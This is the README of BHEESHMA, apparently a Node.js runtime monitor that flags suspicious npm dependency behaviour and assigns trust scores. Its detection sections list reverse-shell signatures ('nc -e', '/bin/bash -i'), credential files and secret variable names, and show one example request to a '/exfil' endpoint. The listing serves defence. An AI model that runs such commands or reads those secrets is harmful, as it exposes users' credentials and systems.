🛡️ BHEESHMA

Runtime Dependency Behavior Monitor for Node.js

Detect software supply-chain abuse at runtime by observing what third-party npm dependencies actually do.

Installation • Usage • Examples • Documentation

Modern applications depend on hundreds of third-party npm packages. While static analysis and CVE scanning help, they cannot detect:

• Zero-day malicious packages not yet in vulnerability databases
• Compromised legitimate packages (e.g., event-stream, ua-parser-js incidents)
• Dependency confusion attacks that execute malicious code at install or runtime
• Behavioral abuse that doesn't match known CVE signatures

Traditional tools tell you what dependencies are. BHEESHMA tells you what dependencies do.

What BHEESHMA Does

BHEESHMA is a runtime behavioral security system that monitors third-party npm dependencies for:

| Behavior | Risk | What It Detects | |----------|------|------------------| | Environment Variable Access | Medium | Credential theft, API key exfiltration | | File System Reads | Low-Medium | Reconnaissance, credential file access | | File System Writes | High | Persistence mechanisms, data exfiltration | | Network Connections | Medium-High | Data exfiltration, C&C communication | | HTTP/HTTPS Requests | Medium-High | Data exfiltration, suspicious service communication | | Shell Execution | Critical | Arbitrary code execution, system compromise |

For each behavior, BHEESHMA captures:

• Timestamp (ISO 8601)
• Behavior type
• Stack trace (for attribution)
• Attributed npm package (name and version)
• Metadata (file path, host, command, etc.)

Trust Scoring

BHEESHMA calculates a deterministic trust score [0-100] for each package based on observed behaviors:

• 80-100 (LOW risk): Minimal or benign behavior
• 60-79 (MEDIUM risk): Moderate activity, review recommended
• 30-59 (HIGH risk): Elevated activity, investigation required
• 0-29 (CRITICAL risk): Highly suspicious, immediate action needed

Scoring is transparent and auditable - no machine learning, no opacity.

Installation

npm install -g bheeshma

Or use directly with npx:

npx bheeshma -- node your-app.js

Usage

CLI

Monitor any Node.js application:

bheeshma -- node app.js

Specify output format and file:

bheeshma --format json --output report.json -- node app.js

Run with npm scripts:

bheeshma -- npm test

Programmatic API

Basic Usage

const bheeshma = require('bheeshma');

// Initialize monitoring with default settings
bheeshma.init();

// Your application code runs here...
require('./your-app');

// Generate report
const report = bheeshma.generateReport('cli');
console.log(report);

// Or get structured data
const scores = bheeshma.getTrustScores();
const signals = bheeshma.getSignals();

Advanced Configuration

// Initialize with custom configuration
bheeshma.init({
  config: {
    hooks: {
      http: true,  // Enable HTTP monitoring
      fs: true,    // Enable file system monitoring
      net: true,
      env: true,
      childProcess: true
    },
    riskWeights: {
      SHELL_EXEC: 25,      // Custom risk weight
      HTTP_REQUEST: 10
    },
    patterns: {
      enabled: true,
      detectCryptoMiners: true,
      detectDataExfiltration: true,
      detectBackdoors: true
    },
    whitelist: ["express@*"]  // Trusted packages
  }
});

Using Configuration Files

Create .bheeshmarc.json in your project root:

{
  "hooks": {
    "http": true,
    "fs": true
  },
  "riskWeights": {
    "SHELL_EXEC": 25
  },
  "patterns": {
    "enabled": true
  },
  "whitelist": ["express@*"]
}

Then simply:

bheeshma.init();  // Auto-loads .bheeshmarc.json

Pattern Detection

const bheeshma = require('bheeshma');
const { analyzePatterns } = require('bheeshma/src/patterns/patternMatcher');

bheeshma.init({ config: { patterns: { enabled: true } } });

// Run your app
require('./your-app');

// Analyze for malicious patterns
const signals = bheeshma.getSignals();
const threats = analyzePatterns(signals, {
  enabled: true,
  detectCryptoMiners: true,
  detectDataExfiltration: true,
  detectBackdoors: true
});

console.log(`Detected ${threats.summary.totalThreats} threats`);
console.log(`Highest severity: ${threats.summary.highestSeverity}`);

Convenience Wrapper

const bheeshma = require('bheeshma');

bheeshma.monitor(() => {
  // Your application code
  require('./your-app');
}, { format: 'json' })
  .then(({ result, report }) => {
    console.log(report);
  });

Example Output

CLI Format

======================================================================
  BHEESHMA Runtime Dependency Behavior Report
======================================================================

Summary:
  Total Packages Monitored: 3
  Total Signals Captured: 12

  Risk Distribution:
    HIGH: 1
    MEDIUM: 1
    LOW: 1

📦 [email protected]
   Trust Score: 35/100 [HIGH]

   Observed Behaviors:
     🔐  ENV ACCESS: 5 occurrences
     📝  FS WRITE: 2 occurrences
     🌐  NET CONNECT: 1 occurrence
     ⚡  SHELL EXEC: 1 occurrence

📦 [email protected]
   Trust Score: 85/100 [LOW]

   Observed Behaviors:
     📖  FS READ: 1 occurrence

JSON Format

{
  "version": "1.0",
  "timestamp": "2026-01-18T07:30:00.000Z",
  "summary": {
    "totalPackages": 2,
    "totalSignals": 9,
    "riskDistribution": {
      "critical": 0,
      "high": 1,
      "medium": 0,
      "low": 1
    }
  },
  "packages": [
    {
      "name": "suspicious-package",
      "version": "1.0.0",
      "trustScore": 35,
      "riskLevel": "HIGH",
      "signalCount": 9,
      "behaviors": {
        "ENV_ACCESS": 5,
        "FS_READ": 0,
        "FS_WRITE": 2,
        "SHELL_EXEC": 1,
        "NET_CONNECT": 1
      }
    }
  ],
  "signals": [ /* ... */ ]
}

Security Guarantees

BHEESHMA is built with security-first engineering principles:

Privacy & Independence

• ✅ Zero telemetry - No outbound communication
• ✅ Local-only - All processing happens on your machine
• ✅ No cloud services - No external dependencies
• ✅ No persistent storage - Data exists only in memory during runtime

Safe Instrumentation

• ✅ Non-invasive hooks - Observes behavior without modifying it
• ✅ Fail-safe - Hook errors never break your application
• ✅ Reversible - Hooks can be cleanly uninstalled
• ✅ Idempotent - Safe to initialize multiple times

Data Minimization

• ✅ Metadata only - Captures operation types and paths, never content
• ✅ No secret capture - Environment variable names only, never values
• ✅ Sanitized commands - Shell commands are redacted for common secrets
• ✅ Sanitized headers - HTTP headers are logged as [PRESENT] or [REDACTED], never full values
• ✅ No body inspection - Network payloads are never captured

Advanced Features

🎯 Pattern Detection

BHEESHMA includes signature-based detection for common supply chain attack patterns:

Cryptocurrency Miners

• Detects known miner processes (xmrig, ethminer, cpuminer)
• Identifies mining pool connections
• Flags mining-related environment variables

Data Exfiltration

• Monitors access to sensitive files (.npmrc, .env, .aws/credentials, SSH keys)
• Detects connections to paste services (pastebin, webhook.site)
• Correlation analysis: Flags packages that read sensitive files AND make HTTP requests

Backdoors

• Identifies reverse shell patterns (nc -e, /bin/bash -i)
• Detects suspicious listening ports (1337, 4444, 31337)
• Flags remote access tools (ngrok, localtunnel)

Credential Theft

• Monitors access to secret environment variables (AWS_ACCESS_KEY_ID, NPM_TOKEN)
• Tracks reads of credential files

🌐 HTTP/HTTPS Monitoring

BHEESHMA intercepts all HTTP/HTTPS requests to detect:

• ✅ Direct IP address requests (bypassing DNS)
• ✅ Suspicious TLDs (.tk, .ml, .ga, .cf, .gq)
• ✅ Non-standard ports
• ✅ Pastebin-like services

Example:

// Malicious package makes request
http.request('http://192.168.1.100:8080/exfil');

// BHEESHMA detects:
// - HTTP_REQUEST signal
// - isIpAddress: true
// - indicators: ["Direct IP request", "Non-standard port: 8080"]

⚙️ Configuration System

Customize BHEESHMA behavior without modifying code:

Auto-discovery: Place .bheeshmarc.json in your project root
Validation: All config is validated to prevent malicious configurations
Flexible: Enable/disable hooks, customize risk weights, whitelist packages

Full Configuration Example:

{
  "hooks": {
    "env": true,
    "fs": true,
    "net": true,
    "childProcess": true,
    "http": true
  },
  "riskWeights": {
    "SHELL_EXEC": 20,
    "FS_WRITE": 10,
    "HTTP_REQUEST": 10,
    "HTTPS_REQUEST": 8,
    "NET_CONNECT": 8,
    "ENV_ACCESS": 5,
    "FS_READ": 3
  },
  "thresholds": {
    "critical": 30,
    "high": 60,
    "medium": 80
  },
  "whitelist": [
    "express@*",
    "@types/*"
  ],
  "blacklist": [],
  "patterns": {
    "enabled": true,
    "detectCryptoMiners": true,
    "detectDataExfiltration": true,
    "detectBackdoors": true,
    "detectObfuscation": true
  },
  "performance": {
    "track": false,
    "maxSignals": 10000
  },
  "output": {
    "formats": ["cli"],
    "verbosity": "normal",
    "includeStackTraces": true
  }
}

Architecture

BHEESHMA follows a layered security architecture:

┌─────────────────────────────────────────────────┐
│              CLI / Programmatic API              │
└─────────────────────────────────────────────────┘
                        │
┌─────────────────────────────────────────────────┐
│              Output Formatters                   │
│           (CLI, JSON, CI/CD-ready)              │
└─────────────────────────────────────────────────┘
                        │
┌─────────────────────────────────────────────────┐
│           Trust Scoring Engine                   │
│        (Deterministic, Transparent)             │
└─────────────────────────────────────────────────┘
                        │
┌─────────────────────────────────────────────────┐
│          Signal Normalization Layer              │
│         (Immutable, Type-Safe)                  │
└─────────────────────────────────────────────────┘
                        │
┌─────────────────────────────────────────────────┐
│         Attribution Engine                       │
│      (Stack Trace → Package Mapping)            │
└─────────────────────────────────────────────────┘
                        │
┌─────────────────────────────────────────────────┐
│           Runtime Hooks                          │
│   (env, fs, net, http, https, child_process)   │
└─────────────────────────────────────────────────┘
                        │
┌─────────────────────────────────────────────────┐
│        Pattern Detection Engine                  │
│   (Crypto Miners, Data Exfiltration,           │
│     Backdoors, Credential Theft)                 │
└─────────────────────────────────────────────────┘
                        │
┌─────────────────────────────────────────────────┐
│          Configuration System                    │
│        (.bheeshmarc.json loader)                │
└─────────────────────────────────────────────────┘

Design Principles

All code adheres to:

• OWASP Secure Coding Practices - Least privilege, fail-safe defaults
• CERT/SEI Secure Coding - Defensive programming, predictable errors
• Node.js Security Best Practices - Safe monkey-patching, no global pollution

Development: Vibe Coding Meets Discipline

This project was built using "vibe coding" - AI-assisted rapid development - but with uncompromising engineering discipline:

| Approach | Benefit | |----------|---------| | AI-assisted generation | 10x faster prototyping and iteration | | Security-first prompts | Every component explicitly follows OWASP/CERT principles | | Audit-ready comments | Self-documenting code with security rationale | | Deterministic design | No ML, no non-determinism, full transparency |

The result: Production-grade security tooling delivered with startup velocity.

This demonstrates that AI-assisted development can produce audit-ready, security-grade open source when guided by strong engineering discipline.

Testing

BHEESHMA includes an offline, deterministic test harness:

npm test

Tests validate:

• ✅ Hook installation and teardown
• ✅ Benign dependency detection (high trust score)
• ✅ Suspicious dependency detection (low trust score)
• ✅ Signal capture for all behavior types
• ✅ Output format validity (CLI and JSON)

All tests run without network access and produce deterministic results.

Limitations

BHEESHMA is not:

• ❌ A CVE scanner (use npm audit or Snyk)
• ❌ A static analysis tool (use ESLint security plugins)
• ❌ A silver bullet (defense-in-depth requires multiple layers)

BHEESHMA cannot detect:

• Runtime behaviors before hooks are installed (install early!)
• Native/C++ addons (Node.js internals only)
• Behaviors in worker threads (future work)
• Time bombs/delayed execution that occurs after monitoring stops

Best Practice: Use BHEESHMA as part of a layered security strategy alongside SCA, SAST, and dependency pinning.

Roadmap

Completed:

• [x] Configuration system with validation
• [x] HTTP/HTTPS request monitoring
• [x] Advanced pattern detection (crypto miners, backdoors, data exfiltration)
• [x] Malware signature database

Future enhancements:

• [ ] HTML report generation
• [ ] Whitelist/blacklist enforcement
• [ ] ESM (ES Modules) full support
• [ ] Worker thread monitoring
• [ ] DNS query monitoring
• [ ] Crypto operation monitoring
• [ ] Policy enforcement mode (block high-risk packages)
• [ ] Real-time alerts (webhooks, Slack)
• [ ] Integration with popular CI/CD platforms

Contributing

Contributions welcome! This project aims to be:

• Audit-ready: Every PR should maintain security-first coding standards
• Well-documented: Code comments explain security rationale
• Test-covered: New features need offline tests

See CONTRIBUTING.md for guidelines.

License

Apache License 2.0

This project is licensed under the Apache License 2.0, which allows:

• ✅ Commercial use
• ✅ Modification and distribution
• ✅ Patent grant
• ✅ Private use

See LICENSE for full text.

Credits

Built with discipline by security engineers who believe AI-assisted coding can produce production-grade software when guided by strong engineering principles.

Security Frameworks Referenced:

• OWASP Secure Coding Practices
• CERT Secure Coding Standards
• Node.js Security Best Practices

Support

• Issues: GitHub Issues
• Discussions: GitHub Discussions
• Security: For security vulnerabilities, email [email protected]

BHEESHMA: Trust, but verify. At runtime.